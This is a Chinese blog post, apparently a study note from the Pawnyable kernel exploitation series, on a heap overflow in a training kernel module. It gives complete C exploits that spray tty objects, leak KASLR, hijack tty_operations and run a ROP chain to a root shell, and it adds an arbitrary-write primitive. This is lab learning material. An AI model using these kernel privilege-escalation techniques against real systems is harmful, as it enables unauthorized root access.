Pawnable笔记(二)之 Heap Overflow

Static Lv2

前言

本系列文章记录笔者在跟随Pawnable学习Kernel Pwn过程中的一些问题与学到的东西。本文是该系列的第二篇文章。

漏洞模块分析

module_readmodule_write函数存在明显堆溢出

module_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 __fastcall module_read(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 v5; // [rsp+48h] [rbp-10h]

printk(&unk_491);
v5 = g_buf;
if ( a3 >= 0x80000000 )
BUG();
check_object_size(g_buf, a3, 1u);
if ( !copy_to_user(a2, v5, a3) )
return a3;
printk(&unk_4A7);
return -22LL;
}

module_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 __fastcall module_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 v5; // [rsp+50h] [rbp-8h]

printk(&unk_4BE);
v5 = g_buf;
if ( a3 >= 0x80000000 )
BUG();
check_object_size(g_buf, a3, 0);
if ( !copy_from_user(v5, a2, a3) )
return a3;
printk(&unk_4D5);
return -22LL;
}

内核堆内存分配机制

这部分内容尤其重要,但初学者很难完全搞懂其细节分配机制,因此我们主要围绕以下两点来看就行:

  1. 内核如何根据要分配的大小确定切块的位置,以及切块时如何管理每个块;
  2. 在释放对应块后,内核如何管理这些空闲内存块。

但因为笔者自己对这块也不是很了解,所以此处推荐参考evilpan师傅的《Linux内核的内存管理与漏洞利用案例分析》 ,和a3师傅的Linux Kernel 内存管理浅析 III - Slub Allocator

漏洞利用思路简析

在堆溢出中,我们无法像栈溢出那样直接劫持控制流造成kernel panic,而是需要利用堆溢出来覆写内核对象,在覆写后就可能实现劫持控制流。而要利用它,我们就需要构造堆布局为如下这种情形:在一个可溢出的脆弱对象后存在一个目标内核对象,这样我们在溢出后就可以轻松修改目标对象中的某些值。

在内核中,要实现这种情形,我们最常用的就是Heap Spray(堆喷),它的目标就是喷射大量内核对象,大大提升目标对象存在于脆弱对象后的概率,从而有效完成利用。在本题中,我们可以使用如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>
#include<fcntl.h>

int main()
{
//heap spray
int spray[100] = {0};
for(int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", 2);
for(int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

//heap overflow write
char buf[0x500];
memset(buf, 'A', 0x500);
write(fd, buf, 0x500);

return 0;
}

在覆盖前对应脆弱对象内存地址为

1
2
3
4
pwndbg> x/16gx 0xffff903c81cff000
0xffff903c81cff000: 0x0000000000000000 0x0000000000000000
0xffff903c81cff010: 0x0000000000000000 0x0000000000000000
0xffff903c81cff020: 0x0000000000000000 0x0000000000000000

其后的tty结构体地址为

1
2
3
4
5
pwndbg> x/16gx 0xffff903c81cff000+0x400
0xffff903c81cff400: 0x0000000100005401 0x0000000000000000
0xffff903c81cff410: 0xffff903c8125fe40 0xffffffff8fc38880
0xffff903c81cff420: 0x0000000000000032 0x0000000000000000
0xffff903c81cff430: 0x0000000000000000 0xffff903c81cff438

此时如果我们溢出写入,那么就会覆盖到这个tty结构体,我们通过对/dev/ptmx进行操作来调用tty结构体中函数表中的函数。接下来我们来尝试一步步利用这个漏洞,原题目开启了所有保护,我们先关闭所有保护,再逐个开启exploit

Add KASLR

添加了KASLR之后,我们需要泄露信息来计算地址,而tty结构体中+0x18处为const struct tty_operations *ops;,通过这个指针就可以泄露KASLR基址(该地址减去0xc38880即可),+0x38处存在一个指向自己的指针,可用来找到堆地址。

泄露地址

1
2
3
4
5
6
7
8
9
10
//leak KASLR base
char buf[0x500];
long KASLR_BASE = 0;
long g_buf = 0;
memset(buf, 'A', 0x500);
read(fd, buf, 0x500);
KASLR_BASE = *((long*)&buf[0x400+0x18]) - 0xc38880;
g_buf = *((long*)&buf[0x400+0x38]) - 0x438;
printf("KASLR: %p\n", (char*)KASLR_BASE);
printf("g_buf: %p\n", (char*)g_buf);

漏洞验证POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>
#include<fcntl.h>

int main()
{
//heap spray
int spray[100] = {0};
for(int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", 2);
for(int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

//leak KASLR base
char buf[0x500];
long KASLR_BASE = 0;
long g_buf = 0;
memset(buf, 'A', 0x500);
read(fd, buf, 0x500);
KASLR_BASE = *((long*)&buf[0x400+0x18]) - 0xc38880;
g_buf = *((long*)&buf[0x400+0x38]) - 0x438;
printf("KASLR: %p\n", (char*)KASLR_BASE);
printf("g_buf: %p\n", (char*)g_buf);

// craft fake function table
unsigned long *p = (unsigned long *)&buf;
for (int i = 0; i < 0x40; i++)
{
*p++ = 0xffffffffdead0000 + i*0x10;
}
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x420);

// hijack control flow
for (int i = 0; i < 100; i++)
{
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}

getchar();
close(fd);
for (int i = 0; i < 100; i++)
close(spray[i]);
return 0;
}

然后运行poc,得到如下报错

1
2
3
4
5
/ # ./kaslr 
KASLR: 0xffffffff8ea00000
g_buf: 0xffff9ac381cf5000
BUG: unable to handle page fault for address: ffffffffdead00c0
#PF: supervisor instruction fetch in kernel mode

可以看到KASLR和g_buf基址均已被泄露,且程序运行到了ffffffffdead00c0位置,说明此时执行流已被我们控制,且程序调用对应函数表索引为0xc

我在尝试使用ret2usr对其进行提权时得到了如下报错

1
2
BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____))
kernel stack overflow (double-fault): 0000 [#1] SMP NOPTI

即产生了内核栈溢出,搜索发现这种的解决办法一般为stack pivot,既然这样,那就直接使用KROP就行了,继续开启保护

Add SMEP/SMAP

使用KROP前需要进行stack pivot,因为我们只能控制程序的执行流,而不能控制栈。为了进行栈迁移,我们需要找到可用的gadget,但同时我们也要观察下进入执行流前的寄存器环境。给堆中写入payload和伪造函数表,同时溢出覆盖tty_operations函数表地址,使用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<fcntl.h>
#include<string.h>
#include<sys/ioctl.h>

long swapgs_restore_regs_and_return_to_usermode = 0x800e10;
long prepare_kernel_cred = 0x74650;
long commit_creds = 0x744b0;
size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}

int main()
{
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

int fd = open("/dev/holstein", O_RDWR);

for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

//leak KASLR base
char buf[0x500];
long KASLR_BASE = 0;
long g_buf = 0;
memset(buf, 'A', 0x500);
read(fd, buf, 0x500);
KASLR_BASE = *((long*)&buf[0x400+0x18]) - 0xc38880;
g_buf = *((long*)&buf[0x400+0x38]) - 0x438;
printf("KASLR: %p\n", (char*)KASLR_BASE);
printf("g_buf: %p\n", (char*)g_buf);

prepare_kernel_cred += KASLR_BASE;
commit_creds += KASLR_BASE;
swapgs_restore_regs_and_return_to_usermode += KASLR_BASE;
long pop_rdi = KASLR_BASE + 0xd748d;
long mov_rdi_rax = KASLR_BASE + 0x62707b;
long pop_rcx = KASLR_BASE + 0x13c1c4;
long mov_rsp_rax = KASLR_BASE + 0x801114;
long pop_r12_rbx = KASLR_BASE + 0x28b69e;

//construct rop chain
unsigned long* p = (unsigned long*)&buf;
int i = 0;
p[i++] = pop_rdi;
p[i++] = 0;
p[i++] = prepare_kernel_cred;
p[i++] = pop_rcx;
p[i++] = 0;
p[i++] = mov_rdi_rax;
p[i++] = commit_creds;

p[i++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
p[i++] = 0;
p[i++] = 0;

p[i++] = (size_t)get_root_shell;
p[i++] = user_cs;
p[i++] = user_rflags;
p[i++] = user_sp;
p[i++] = user_ss;
for(; i<100; i++)
p[i] = g_buf;

// craft fake function table
*(size_t *)&buf[0x418] = g_buf+15*8;
write(fd, buf, 0x420);

// hijack control flow
for (int i = 0; i < 100; i++)
{
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}

getchar();
close(fd);
for (int i = 0; i < 100; i++)
close(spray[i]);
return 0;
}

产生报错为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/ # ./exp 
KASLR: 0xffffffffb3600000
g_buf: 0xffffa26501d05000
kernel tried to execute NX-protected page - exploit attempt? (uid: 0)
BUG: unable to handle page fault for address: ffffa26501d05000
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0011) - permissions violation
PGD 3801067 P4D 3801067 PUD 3802067 PMD 8000000001c001e3
Oops: 0011 [#1] SMP NOPTI
CPU: 0 PID: 162 Comm: exp Tainted: G O 5.15.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a4
RIP: 0010:0xffffa26501d05000
Code: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f
RSP: 0018:ffffa4c7c017fe10 EFLAGS: 00000286
RAX: ffffa26501d05000 RBX: ffffa26501d05800 RCX: 00000000deadbeef
RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffffa26501d05400
RBP: ffffa4c7c017fea8 R08: 00000000cafebabe R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef
R13: ffffa26501d05400 R14: 00000000cafebabe R15: ffffa26501a4a700
FS: 0000000000409bd8(0000) GS:ffffa26502400000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffa26501d05000 CR3: 0000000001b76000 CR4: 00000000003006f0

触发漏洞的部分为ioctl(spray[i], 0xdeadbeef, 0xcafebabe),通过寄存器环境可以看到有很多寄存器的值都是deadbeefcafebabe,这时就可以利用寄存器及gadget来对rsp进行赋值了,例如,我找到了如下gadget

1
0xffffffff811077fc : push rdx ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret

然后就是在合适位置伪造函数指针为此gadget,同时在ioctl时控制参数即可,exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<fcntl.h>
#include<string.h>
#include<sys/ioctl.h>

long swapgs_restore_regs_and_return_to_usermode = 0x800e10;
long prepare_kernel_cred = 0x74650;
long commit_creds = 0x744b0;
size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}

int main()
{
saveStatus();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

int fd = open("/dev/holstein", O_RDWR);

for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

//leak KASLR base
char buf[0x500];
long KASLR_BASE = 0;
long g_buf = 0;
memset(buf, 'A', 0x500);
read(fd, buf, 0x500);
KASLR_BASE = *((long*)&buf[0x400+0x18]) - 0xc38880;
g_buf = *((long*)&buf[0x400+0x38]) - 0x438;
printf("KASLR: %p\n", (char*)KASLR_BASE);
printf("g_buf: %p\n", (char*)g_buf);

//0xffffffff8162707b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
//0xffffffff81d7734d : mov rdi, r15 ; ret
//0xffffffff811077fc : push rdx ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret

prepare_kernel_cred += KASLR_BASE;
commit_creds += KASLR_BASE;
swapgs_restore_regs_and_return_to_usermode += KASLR_BASE;
long pop_rdi = KASLR_BASE + 0xd748d;
long mov_rdi_rax = KASLR_BASE + 0x62707b;
long pop_rcx = KASLR_BASE + 0x13c1c4;
long push_rdx_pop_rsp_pp_ret = KASLR_BASE + 0x1077fc;
long pop_r12_rbx = KASLR_BASE + 0x28b69e;
long swapgs = 0x62668e + KASLR_BASE;
long iretq = 0x800eb7 + KASLR_BASE;

//construct rop chain
unsigned long* p = (unsigned long*)&buf;
int i = 0;
p[i++] = pop_rdi;
p[i++] = 0;
p[i++] = prepare_kernel_cred;
p[i++] = pop_rcx;
p[i++] = 0;
p[i++] = mov_rdi_rax;
p[i++] = commit_creds;

p[i++] = pop_r12_rbx;
p[i++] = 0;
p[i++] = 0;

p[i++] = pop_r12_rbx;
p[i++] = 0;
p[i++] = push_rdx_pop_rsp_pp_ret; //fake_func to stack pivot

p[i++] = swapgs;
p[i++] = iretq;

p[i++] = (size_t)get_root_shell;
p[i++] = user_cs;
p[i++] = user_rflags;
p[i++] = user_sp;
p[i++] = user_ss;

// craft fake function table
*(size_t *)&buf[0x418] = g_buf;
write(fd, buf, 0x420);

// hijack control flow
for (int i = 0; i < 100; i++)
{
ioctl(spray[i], 0, g_buf-0x10);
}

getchar();
close(fd);
for (int i = 0; i < 100; i++)
close(spray[i]);
return 0;
}

Add KPTI

添加KPTI后,仅需将rop链中的

1
2
p[i++] = swapgs;
p[i++] = iretq;

更换为

1
2
3
p[i++] = swapgs_restore_regs_and_return_to_usermode+0x16;
p[i++] = 0;
p[i++] = 0;

AAW/AAR(待补充

我们首先构造一个AAW和AAR原语,然后再讨论可利用的方法

AAW/AAR原语

首先找到一个有效的赋值gadget,然后AAW如下

1
2
3
4
5
6
7
8
9
10
11
12
//0xffffffff810477f7 : mov qword ptr [rdx], rcx ; ret
void AAW(size_t add, size_t val)
{
unsigned long gadget = KASLR_BASE + 0x477f7;
p = (unsigned long*)&buf;
p[0xc] = gadget;
*(unsigned long*)&buf[0x418] = g_buf;
write(fd, buf, 0x420);

for(int i = 0; i < 100; i++)
ioctl(spray[i], val, add);
}

同理,找到有效gadget,AAR如下

1

修改usermode_helpers提权

修改cred结构体提权

  • Title: Pawnable笔记(二)之 Heap Overflow
  • Author: Static
  • Created at : 2024-03-10 16:39:31
  • Updated at : 2024-03-10 16:39:14
  • Link: https://staticccccccc.github.io/2024/03/10/kernel pwn/Pawnyable(2) - Heap Overflow/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments